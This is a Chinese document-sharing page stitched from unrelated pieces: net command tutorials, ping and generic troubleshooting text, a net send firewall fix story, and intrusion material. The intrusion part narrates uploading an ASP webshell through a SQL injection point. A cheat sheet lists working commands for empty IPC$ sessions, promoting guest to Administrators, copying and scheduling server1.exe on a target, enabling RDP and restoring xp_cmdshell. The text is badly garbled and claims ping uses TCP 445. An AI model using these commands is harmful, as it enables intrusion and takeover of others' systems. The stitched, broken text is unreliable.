解惑 net send 命令无法成功之谜
- 格式:doc
- 大小:197.50 KB
- 文档页数:6
一、net 系列命令组成Net此命令是Windows系统另一个强大的命令行,它主要由一组命令构成,见表-1:net 服务概述许多服务使用的网络命令都以词 net 开头。
这些 net 命令有一些共同属性:在命令提示符下键入 net /?,可以查看所有可用的 net 命令的列表。
在命令提示符下键入 net help command,可以在命令行获得 net 命令的语法帮助。
所有 net 命令都接受 /y(是)和 /n(否)命令行选项。
例如,net stop server 命令将提示用户确认要停止所有依赖的服务器服务,而 net stop server /y 通过自动回答“是”而无需确认并关闭服务器服务。
如果服务名包含空格,请使用引号将文本引起来(即"Service Name")。
二、常用net命令详解和应用实例1. Net view作用:显示正由指定的计算机共享的域、计算机或资源的列表。
如果在没有参数的情况下使用,则 net view 显示当前域中的计算机列表。
命令格式:net view [ComputerName] [/domain[:DomainName]]net view /network:nw [ComputerName]net view /cache主要参数:computername :指定包含要查看的共享资源的计算机。
/domain[:DomainName] :指定要查看其可用计算机的域。
如果省略了 DomainName,则 /domain 将显示网络中的所有域。
/network:nw 显示 NetWare 网络上所有可用的服务器。
如果指定了计算机名,则/network:nw 将显示NetWare 网络中该计算机上的可用资源。
还可以指定添加到系统的其他网络。
/cache :显示指定计算机上资源的脱机客户端缓存设置。
应用实例:要查看 NetWare 服务器 Marketing 上的可用资源,使用命令:net view /network:nw marketing要查看sales域或工作组中的计算机列表,使用命令:net view /domain:sales要查看由ip地址“192.168.1.10”共享的资源列表,使用命令:net view 192.168.1.10 见图1查看由ip地址“192.168.1.10”共享的资源列表 start作用:计算机的很多功能都是以服务形式呈现出来的,通常情况下管理服务必须进入管理工具下的“服务”工具才能完成,但是Net命令同样具备这样的功能。
无法执行net命令原因-电脑资料以前经常看到一句话,据说是牛人说的:SA注入拿不到系统权限就是水平问题!前几天遇到的情况足以推翻这句所谓我名言!SA注入点在很多种情况下是相对比较容易拿一点,但是不是说有SA就有系统权限呢,其实不然!SA下不能拿到系统权限的情况也比较多,我就简单的说明一下我前几天遇到的情况,至于其他方面大家提出共同研究就是了,嘿嘿,。
几天前朋友把一个SA注入点发在群里,说他实在是拿不到系统权限。
我问他什么环境,他说可以执行部分命令,也有回显,也可以列目录,WEB与DATA服务器并不分离。
这种情况起码拿到shell是比较容易的事情,组件没有删除的话。
我问了下他拿到webshell没,那小子居然说没拿到……一心只想得到系统权限……一心只想进3389!我原来也认为SA都拿不下服务器的确是水平问题的,所以答应帮他看看这个注入点!NBSI检测,显示权限的确为SA,执行命令有回显。
本以为加个用户不就得了,但问题没有想象中的这么简单!执行net user命令显示出了所有用户,但是执行net user hackest hackest /add 的时候提示拒绝访问!net1 user hackest hackest /add同样提示拒绝访问!情况似乎的确比较复杂……开始我以为是net.exe、net1.exe这两个文件的权限做过权限设置,用cacls.exe更改net.exe 和net1.exe的文件访问属性也提示拒绝访问!所以打算上传一个本地的net.exe再执行添加用户的操作。
但是用VBS文件下载不了,加密了依然下载不了……服务器用的是瑞星!要传文件的话还是先老老实实的拿到webshell再说吧,列目录确定WEB路径,啊D上传了一个海阳eval版一句话ASP马。
有个一句话就已经很足够了嘛,嘿嘿。
有了webshell就查看存在注入漏洞的文件,找到数据库连接文件,得到MSSQL的有SA权限的用户名和密码,因为目标服务器的mssql不允许外连,所以弄了个sqlrootkit.asp上去,用得到的用户名和密码成功连接,并且可以执行部分命令。
使用net send命令在局域网内发送消息Windows XP/2000中提供了一条发送网络消息的命令net send,使用该命令也可以向局域网/广域网发送一条消息,注意不能跨网段!命令格式为:net send计算机名/IP地址“消息内容”。
例如:要给IP地址为192.192.192.1的电脑,发送“还有5分钟就下班关闭服务器了”这条消息,可以这样操作:单击菜单“开始”/程序/附件/命令提示符,键入以下命令:net send 192.192.192.1 "还有5分钟就下班关闭服务器了"稍等片刻,192.192.192.1电脑桌面上将会弹出一个标题为“信使服务”的窗口,里面显示你发送的消息。
小提示:假如对方关闭了Messenger服务,这条消息就不会显示了。
如果你不想收到该类消息,也可以点击菜单“开始”/设置/控制面板/管理工具/服务,在服务中关闭“Messenger 服务”;如果想启动Messenger服务,你可以在服务中操作。
当然也可以使用以下命令启动或禁止Messenger服务:net stopMessenger 停止Messenger服务;net startMessenger开始Messenger服务Net Send 用法作用:向网络的其他用户、计算机或通信名发送消息。
命令格式:Net send {name | * | /domain[:name] | /users} message有关参数说明:·name要接收发送消息的用户名、计算机名或通信名·* 将消息发送到组中所有名称·/domain[:name]将消息发送到计算机域中的所有名称·/users将消息发送到与服务器连接的所有用户·message作为消息发送的文本net send 机器名内容net send ip地址内容例如:Net send /users server will shutdown in 10 minutes.给所有连接到服务器的用户发送消息。
net sh are a bc$=c:\将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录)netshare c$ /del 禁止C$共享ne t use z: \\*.*.*.*\C$把*.*.*.*(IP) 的共享 C$ 映射为本地的 Z:盘netuse c: /de l删除映射的c盘net use* /de l /y删除全部net star t显示本地主机当前服务net s tarttelne t启动 Teln et 服务net star t Ser ver 启动 Se rver服务 (I PC$ 和共享要*这个服务)netstopMesse nger停止信使服务(不会在有烦人的Win的弹出广告了)!ne t sto p ser ver 停止Ser ver 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵) n et us er得到本地主机的用户列表net user gues t /ac tive:yes 将停用的g uest帐号激活(变为可用)netuserguest 888888把 Gues t 帐号的密码改为888888ne t loc algro up Ad minis trato rs gu est /add 把 Gue st 加到Admin istra tors组中(这样你就有了超级权限了)netview\\*.*.*.*查看指定IP主机上的共享nbtst at -A *.*.*.* 得到远程主机的Net BIOS用户名列表netshare查看本地主机的共享资源(本地的默认共享也可以看到)n et us e \\*.*.*.*\ipc$ ""/user:"" 建立空连接tel net *.*.*.* 90连接对方机子的te lnet,端口为90ipc onfig查看本机的IP信息入侵ipc过程序命令--------------------------------------------------------ne t use \\*.*.*.*\ipc$ "" /user:"Admi nistr ator"建立用户名为A dmini strat or 密码为空的连接co py se rver1.exe\\*.*.*.*\Admin$\sys tem32即将当前目录下的Serve r1.ex e复制到对方Admi n$共享的Syste m32目录内n et ti me \\*.*.*.*查看远程主机的当前时间at \\*.*.*.* 14:00 ser ver1.exe 在对方机子添加一个在 14:00 运行serve r1.ex e 的任务-------------------------------------------------------3389DOS开启-------------------------------------------------------e cho [Compo nents] > c:\sqlec ho TS Enabl e = o n >>c:\sq ls ysocm gr /i:c:\w innt\inf\s ysoc.inf /u:c:\sql /q--------- C:\>d ir c:\syso c.inf /s 检查INF文件的位置C:\> di r c:\sysoc mgr.* /s 检查组件安装程序-------------------------------------------------------qu ery u ser 查看正在使用的用户log off u ser 踢掉正在使用帐号的I D(这里的ID不是你的帐号)-------------------------------------------------------删除Radm in服务r_s erver.exe/stopr_serve r /un insta ll /s ilenc e-------------------------------------------------------开启cm dshel l的SQL语句E XECsp_adde xtend edpro c xp_cmdsh ell ,@dlln ame ='xplo g70.d ll' 判断存储扩展是否存在Sel ect c ount(*) fr om ma ster.dbo.s ysobj ectswhere xtyp e='X' andname='xp_c mdshe ll' 返回结果为1就OK恢复xp_cmds hellExec mast er.db o.add exten dedpr oc 'x p_cmd shell','xp log70.dll';sele ct co unt(*) fro mmas ter.d bo.sy sobje cts w herextype='X'and n ame='xp_cm dshel l'返回结果为1就OK 否则上传x plog7.0.dl lEx ec ma ster.dbo.a ddext ended proc'xp_c mdshe ll','C:\Wi nNt\S ystem32\xp log70.dll'堵上c mdshe ll的SQ L语句sp_dr opext ended proc"xp_c mdshe ll" Selec t cou nt(*) from mast er.db o.sys objec ts wh ere x type='X' a nd na me='x p_cmd shell'ne t use命令的使用2006-07-31 07:481、建立IPC$、admi n$连接:net u se \\计算机名或IP\ip c$ (输入admin istra tor与passw ord)2查看连接共享:ne t sha re3、映射共享到本地:ne t u** *:\\计算机或IP\共享名称如:netu** *: \\p c1\c$ netuse \\ip\i pc$ "密码" /user:"用户名" 建立I PC非空链接ne t use h: \\ip\c$ "密码" /us er:"用户名" 直接登陆后映射对方C:到本地为H:net useh: \\ip\c$登陆后映射对方C:到本地为H:net use\\ip\ipc$/del删除IPC链接n et us e h:/del删除映射对方到本地的为H:的映射ne t use r 用户名密码/add 建立用户net u ser g uest/acti ve:ye s 激活g uest用户ne t use r 查看有哪些用户netuser帐户名查看帐户的属性ne t loc algro up ad minis trato rs 用户名 /ad d 把“用户”添加到管理员中使其具有管理员权限,注意:adm inist rator后加s用复数ne t sta rt 查看开启了哪些服务n et st art 服务名开启服务;(如:net star t tel net,net s tartsched ule)net s top 服务名停止某服务net t ime \\目标ip查看对方时间n et ti me \\目标ip/set设置本地计算机时间与“目标IP”主机的时间同步,加上参数/y es 可取消确认信息netview查看本地局域网内开启了哪些共享net view \\ip查看对方局域网内开启了哪些共享ne t con fig 显示系统网络设置n et lo goff断开连接的共享n et pa use 服务名暂停某服务net s end i p "文本信息" 向对方发信息edi t 打开某文件ne t ver局域网内正在使用的网络连接类型和信息netshare查看本地开启的共享net shar e ipc$ 开启i pc$共享net shar e ipc$ /de l 删除i pc$共享net shar e c$/del删除C:共享ne t use r gue st 12345 用guest用户登陆后用将密码改为12345net pass word密码更改系统登陆密码ne tstat -a 查看开启了哪些端口,常用nets tat -anne tstat -n 查看端口的网络连接情况,常用ne tstat -annetst at -v查看正在进行的工作net stat-p 协议名例:n etsta t -ptcq/i p 查看某协议使用情况(查看t cp/ip协议使用情况)n etsta t -s查看正在使用的所有协议使用情况nbt sta*-* **对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写tr acert -参数ip(或计算机名)跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
wifi情缘——ping命令之传输失败,常见故障的处理方法-回复WiFi情缘——Ping命令之传输失败,常见故障的处理方法在当今社会,无线网络已经成为我们生活和工作中不可或缺的一部分。
自从无线网络的普及,人们可以通过WiFi连接到互联网,随时随地获取信息、进行工作和娱乐。
然而,在使用WiFi的过程中,我们常常会遇到一些问题,例如网络连接不稳定、传输速度慢等。
其中,有一种被广泛应用的网络诊断工具是“ping命令”。
本文将以“ping命令之传输失败,常见故障的处理方法”为主题,为大家详细介绍ping命令的作用和解决常见故障的方法。
首先,让我们来了解一下“ping命令”是什么。
Ping命令是一种常用的网络诊断工具,它可以测试网络连接的稳定性并计算网络延迟时间。
通过向目标IP地址发送网络数据包,并等待目标设备返回响应,我们可以确定设备之间的连接状况。
当我们在使用ping命令时,有时候可能会遇到传输失败的情况,下面将介绍一些常见的传输失败故障及其处理方法。
一、目标设备无法访问在使用ping命令时,如果出现“目标主机不可达”的错误消息,这意味着你的电脑无法与目标设备建立连接。
这可能是由于以下几个原因导致的:1.1 无线网络连接问题首先,检查你的电脑与WiFi路由器之间的连接是否正常。
可以尝试重新连接WiFi或使用其他设备进行测试,确认该问题是否与设备本身或WiFi 路由器有关。
如果其他设备可以正常连接,那么可能是你的电脑设置有问题或者遇到了网络适配器驱动程序的故障。
1.2 目标设备故障另外,目标设备也可能由于故障而无法访问。
在这种情况下,你可以尝试使用其他设备对目标设备进行测试,确定是否是目标设备的问题。
如果其他设备也无法连接,那么可能是目标设备的网络接口故障、网络设置错误或者其他硬件故障。
二、传输失败的时延过高当我们使用ping命令时,如果发现时延(Ping值)较高,通常意味着网络连接存在问题或者网络负载过重。
下面对NET命令的不同参数的使用技巧介绍如下:1、Net ViewI作用:显示域列表、计算机列表或指定计算机的共享资源列表。
命令格式:Net view [\\computername | /domain[:domainname]]有关参数说明:·键入不带参数的Net view显示当前域的计算机列表·\\computername 指定要查看其共享资源的计算机·/domain[:domainname]指定要查看其可用计算机的域例如:Net view \\GHQ查看GHQ计算机的共享资源列表。
Net view /domain:XYZ 查看XYZ域中的机器列表。
2、Net User作用:添加或更改用户帐号或显示用户帐号信息。
命令格式:Net user [username [password | *] [options]] [/domain]有关参数说明:·键入不带参数的Net user查看计算机上的用户帐号列表·username添加、删除、更改或查看用户帐号名·password为用户帐号分配或更改密码·提示输入密码·/domain在计算机主域的主域控制器中执行操作。
该参数仅在Windows NT Server 域成员的Windows NT Workstation 计算机上可用。
默认情况下,Windows NT Server 计算机在主域控制器中执行操作。
注意:在计算机主域的主域控制器发生该动作。
它可能不是登录域。
例如:Net user ghq123查看用户GHQ123的信息。
3、Net Use作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。
命令格式:Net use [devicename | *] [\\computername\sharename[\volume]] [password|*]][/user:[domainname\]username][[/delete]| [/persistent:{yes | no}]]有关参数说明:·键入不带参数的Net use列出网络连接·devicename指定要连接到的资源名称或要断开的设备名称·\\computername\sharename服务器及共享资源的名称·password访问共享资源的密码·*提示键入密码·/user指定进行连接的另外一个用户·domainname指定另一个域·username指定登录的用户名·/home将用户连接到其宿主目录·/delete取消指定网络连接·/persistent控制永久网络连接的使用。
向程序发送命令时出现问题在使用程序的过程中,有时我们需要向程序发送命令来完成特定的操作。
然而,在发送命令的过程中可能会遇到各种问题导致命令无法正确执行。
本文将探讨一些可能的问题及其解决方法。
1. 命令无法被正确识别有时候,程序可能无法正确识别我们发送的命令。
这可能是因为命令的格式不正确,或者是程序本身对命令的识别机制存在问题。
为了解决这个问题,我们可以尝试以下方法:•确保命令的格式正确:查阅程序的文档或者官方网站,了解命令的正确格式。
有时候,命令的参数顺序或者拼写错误都会导致命令无法被正确识别。
•更新程序版本:有时候,命令识别问题是由于程序的版本较旧而引起的。
尝试更新程序版本,看看是否能够解决问题。
•检查命令是否存在别名:有些程序支持命令的别名,即自定义的命令符。
使用别名时,我们需要确保别名被正确定义,并且没有其他的冲突。
2. 命令执行超时或者无响应另一个可能的问题是,发送的命令无法在一定时间内执行完毕,或者命令执行后没有任何的响应。
这可能是由于以下原因造成的:•程序运行时间过长:有些命令需要执行的时间可能比较长,特别是在处理大量数据的情况下。
在发送命令之后,耐心等待一段时间,看看是否会有响应。
•程序卡死或崩溃:某些情况下,程序可能会因为某些原因卡住或者崩溃,导致命令无法正常执行。
此时,我们可以尝试关闭程序并重新启动,看看是否能够解决问题。
•网络连接问题:如果程序需要通过网络连接进行通信,那么问题可能出在网络连接上。
可以尝试检查网络连接是否正常,或者尝试重新连接网络。
3. 命令返回错误信息或异常有时候,发送的命令会返回错误信息或者抛出异常,表明命令执行过程中出现了问题。
解决这个问题的方法如下:•查阅错误信息:当命令返回错误信息时,通常会提供一些有关错误原因的提示。
我们可以仔细阅读错误信息,以便找出问题所在,然后根据提示进行修正。
•异常处理:如果命令抛出异常,我们可以使用try-catch语句对异常进行捕获和处理。
局域网中有两台工作站,通过Windows系统内置的“net send”命令相互发送消息时,竟然出现了两种不同错误的故障提示,那么为什么一样的“net send”命令,会出现不一样的故障提示呢?我们究竟该如何进行应对,才能解惑net send无法成功之谜呢?现在笔者就将具体的故障现象以及故障排除过程贡献出来,供各位读者参考!故障现象网管网局域网中有甲、乙两台工作站,其中甲工作站安装的是Windows XP操作系统,它使用的IP地址为192.168.1.10,乙工作站安装的是Windows 2003操作系统,它使用的IP地址为192.168.1.20。
当笔者尝试在甲工作站系统中执行字符串命令“net send 192.168.1.20 test”,来向乙工作站发送一条“test”的测试信息时,甲工作站系统竟然弹出“发生一般网络错误”的故障提示,同时还出现了“请键入net helpmsg 2136以获得更多的帮助”这样的提示信息;当笔者尝试在乙工作站系统中执行字符串命令“net send 192.168.1.10 test”,来向甲工作站系统发送一条“test”的测试信息时,乙工作站系统竟然弹出“网络上找不到此消息的别名”的故障提示,同时还出现了“请键入net helpmsg 2273以获得更多的帮助”这样的提示信息。
为什么在局域网里的两台不同工作站中,执行相同的“net send”命令时,系统会弹出不同的故障提示以及不同的信息帮助号呢,我们究竟该如何进行应对,才能解惑net send无法成功之谜呢? 中国网管联盟www、bitsCN、com故障排除根据甲工作站系统弹出的“请键入net helpmsg 2136以获得更多的帮助”提示信息,笔者立即在甲工作站系统中执行了“net helpmsg 2136”字符串命令,在随后出现的如图1所示结果界面中,笔者得知该故障原因很有可能是网络硬件出现了损坏,那会不是网络连接线路或网卡等硬件设备发生了问题呢?为了验证这样的分析,笔者又在该系统中执行了“ping 192.168.1.20”字符串命令,来Ping一下工作站,结果发现该命令执行成功,这表明甲工作站系统与乙工作站系统之间的物理线路以及网卡设备都不存在问题。
在排除了网络硬件发生损坏的可能性后,还有什么因素会导致系统弹出“发生一般网络错误”的故障提示呢?会不会是甲工作站系统使用的“net send”命令自身遇到了故障呢?为了确认“net send”命令在甲工作站系统中是否运行正常,笔者又在该系统中执行了“net send 192.168.1.10 test”字符串命令,尝试一下自己给自己发送信息,最后得到的结果是“该消息已经成功发送到192.168.1.10”,这表明“net send”字符串命令在甲工作站系统中运行是很正常的。
通过上面的排查分析,笔者估计很有可能是乙工作站系统自身出现了问题。
图1 中国网管联盟根据乙工作站系统弹出的“请键入net helpmsg 2273以获得更多的帮助”提示信息,笔者又在乙工作站系统中执行了“net helpmsg 2273”字符串命令,在随后弹出的如图2所示结果界面中,笔者发现该故障很有可能是乙工作站无法正确解释“net send”命令引起的。
为了检验“net send”命令在乙工作站系统中是否运行正常,笔者又在该系统中执行了“net send 192.168.1.20 test”字符串命令,尝试一下给自身发送一条测试信息,最后得到的结果同样是“网络上找不到此消息的别名”,这难道真是该系统中的“net send”命令受到了破坏?笔者不甘心,又继续执行了“net send 192.168.1.30 test”字符串命令,尝试给其他一台工作站发送了一条测试信息,最后得到的结果是“该消息已经成功发送到192.168.1.30”,这表明“net send”字符串命令在乙工作站系统中运行也是正常的。
中国网管论坛【转自】图2那么为什么在乙工作站系统中,可以使用“net send”命令给别人发送信息,而无法成功给自己和甲工作站发送信息呢?苦苦思索了很长时间,笔者始终弄不出个所以然出来;不得已,笔者只好到网上搜索了一下“net send”命令的具体使用资料,通过查找资料得知,一个用户要想收到别人发送过来的消息,必须先要正确登录进Windows工作站系统,同时还需要在该系统中正确运行“Messenger”系统服务。
对照一下这两个条件,笔者估计乙工作站系统之所以无法自己给自己发送消息,很有可能是该系统的“Messenger”系统服务被意外停止运行了;根据自己的估计,笔者用鼠标右键单击乙工作站系统桌面中的“我的电脑”图标,从弹出的快捷菜单中执行“管理”命令,打开对应工作站系统的计算机管理窗口,在该窗口的左侧显示窗格中,依次展开“计算机管理”/“服务和应用程序”/“服务”分支项目,在对应“服务”项目的右侧子窗格中,用鼠标双击“Messenger”系统服务,打开如图3所示的服务属性设置界面,在该界面中笔者发现乙工作站系统的“Messenger”系统服务果然处于禁用状态,看来乙工作站系统无法给自身发送消息的“罪槐祸首”就是“Messenger”服务了。
找到故障原因后,笔者迅速单击图3界面中的“启动”按钮,将该服务重新启动了起来,同时又将该服务的启动类型设置为“自动”,确保该服务在系统重新启动之后也不会被停止运行;启动好“Messenger”系统服务后,笔者又尝试着在乙工作站系统中执行了一次“net send 192.168.1.20 test”字符串命令,结果发现上次的“网络上找不到此消息的别名”故障提示没有再次弹出,至此乙工作站出现的“网络上找不到此消息的别名”故障就已经被顺利地解决了!网管联盟【转自】图3 中国网管论坛原以为现在从乙工作站中向甲工作站发送消息时,不会出现“网络上找不到此消息的别名”故障了,可是当笔者经过实践测试之后,发现在乙工作站启用“Messenger”系统服务的情况下,这种故障现象居然还存在。
通过上面的排查与分析,笔者基本已经确认“net send”命令在甲、乙两台工作站系统中都运行正常,而且每台工作站接受消息的功能也都正常;只是让笔者感到疑惑不解的是,为什么这两台工作站之间一直无法成功发送信息呢?难道真是甲、乙两台工作站之间的物理线路出现了问题?笔者不放心,又在乙工作站系统的MS-DOS 窗口中执行了一次“ping 192.168.1.10”字符串命令,想验证一下能否从乙工作站Ping通甲工作站,可这次执行的结果让笔者感到非常意外,竟然出现“Request timed out”这样的提示,难怪乙工作站无法成功向甲工作站发送消息。
考虑到甲工作站可以Ping通乙工作站,而乙工作站又能发送消息给其他工作站,笔者估计甲、乙两台工作站之间的物理线路肯定是没有问题,而且乙工作站的系统设置也不应该有问题,而问题很可能是甲工作站的系统设置出现了错误,这种错误或许就是两台工作站使用“net send”命令相互发送信息时出现不同故障提示的根本原因。
依照上面的分析思路,笔者又回到了甲工作站系统,并对该系统的网络参数进行了仔细排查。
笔者先打开了甲工作站系统的“本地连接”属性设置窗口,并选中该窗口中的“Internet 协议(TCP/IP)”选项,再单击“属性”按钮,进入到TCP/IP参数设置窗口,在该窗口中笔者重点检查了IP地址和网关参数,结果发现一切正常;在关闭TCP/IP参数设置窗口,重新返回到“本地连接”属性设置窗口时,笔者突然将目光盯向了该窗口的“高级”标签,同时想到前几天刚刚安装了Windows XP系统的SP2补丁包,据说该补丁包对防火墙功能进行了强化与完善,难道甲、乙两台工作站无法相互发送消息的故障是由该系统的防火墙引起的?想到这里,笔者迅速单击了“本地连接”属性设置窗口中的“高级”标签,然后单击对应标签页面的“设置”按钮,打开了防火墙的参数设置界面;当查看到该界面中的“例外”标签页面时,笔者看到其中的“文件和打印机共享”项目没有选中(如图4所示),会不会该项目就是最终的“罪槐祸首”呢?笔者抱着试试看的态度,将这里的“文件和打印机共享”项目选中,并单击了“确定”按钮;之后又在乙工作站系统的MS-DOS窗口中执行了一次“ping 192.168.1.10”字符串命令,这次发现甲工作站可以Ping通了,再次执行“net send 192.168.1.10 test”字符串命令时,笔者发现现在乙工作站也能通过“net send”命令成功向甲工作站系统发送消息了,而且从甲工作站系统中执行“net send 192.168.1.20 test”字符串命令时,执行结果也是成功的,这说明甲、乙两台工作站无法相互发送消息的故障就是甲工作站的防火墙参数设置不当造成的。
至此,两台工作站无法通过“net send”命令无法相互发送消息的谜底就算解开了!【转自】图4故障总结中国网管联盟www_bitscn_com到了这里,本文其实可以告一段落了。
可是让笔者感到不明白的是,为什么一选中防火墙“例外”标签页面中的“文件和打印机共享”项目时,所有故障现象全部消失了。
后来经过网上查阅资料,笔者终于弄清楚了原由,原来“文件和打印机共享”服务与系统的四个服务端口相互关联,它们分别是“UDP 137”端口、“UDP 138”端口、“TCP 139”端口、“TCP 445”端口,一旦没有选中防火墙中的“文件和打印机共享”服务时,那么甲工作站系统中的“TCP 139”端口、“TCP 445”端口就会处于关闭状态,而“Ping”命令会使用“TCP 445”端口进行通信,“net send”命令会使用“TCP 139”端口通信,这么一来我们在乙工作站系统中执行“ping 192.168.1.10”字符串命令时,自然就会出现“Request timed out”这样的提示,而且尝试向甲工作站发送消息时也就会出现“网络上找不到此消息的别名”故障提示了。
而在乙工作站系统中的“Messenger”系统服务被停用的情况下,我们从甲工作站向乙工作站发送消息时,也就出现了“发生一般网络错误”的不同故障提示。
中国网管联盟总结上面的故障排除过程,笔者认为在排除网络故障的过程中,我们除了要将目光重点盯向与故障发生直接联系的网络参数、网络硬件外,还需要考虑系统自带防火墙的干扰因素;而且在排除具体故障时,我们必须逐一分析、仔细思考、依次排除,才能快速有效地解决故障现象。
中国网管联盟www_bitscn_comtype="text/javascript">showIsAuthorship('2','普通'); 【转自】。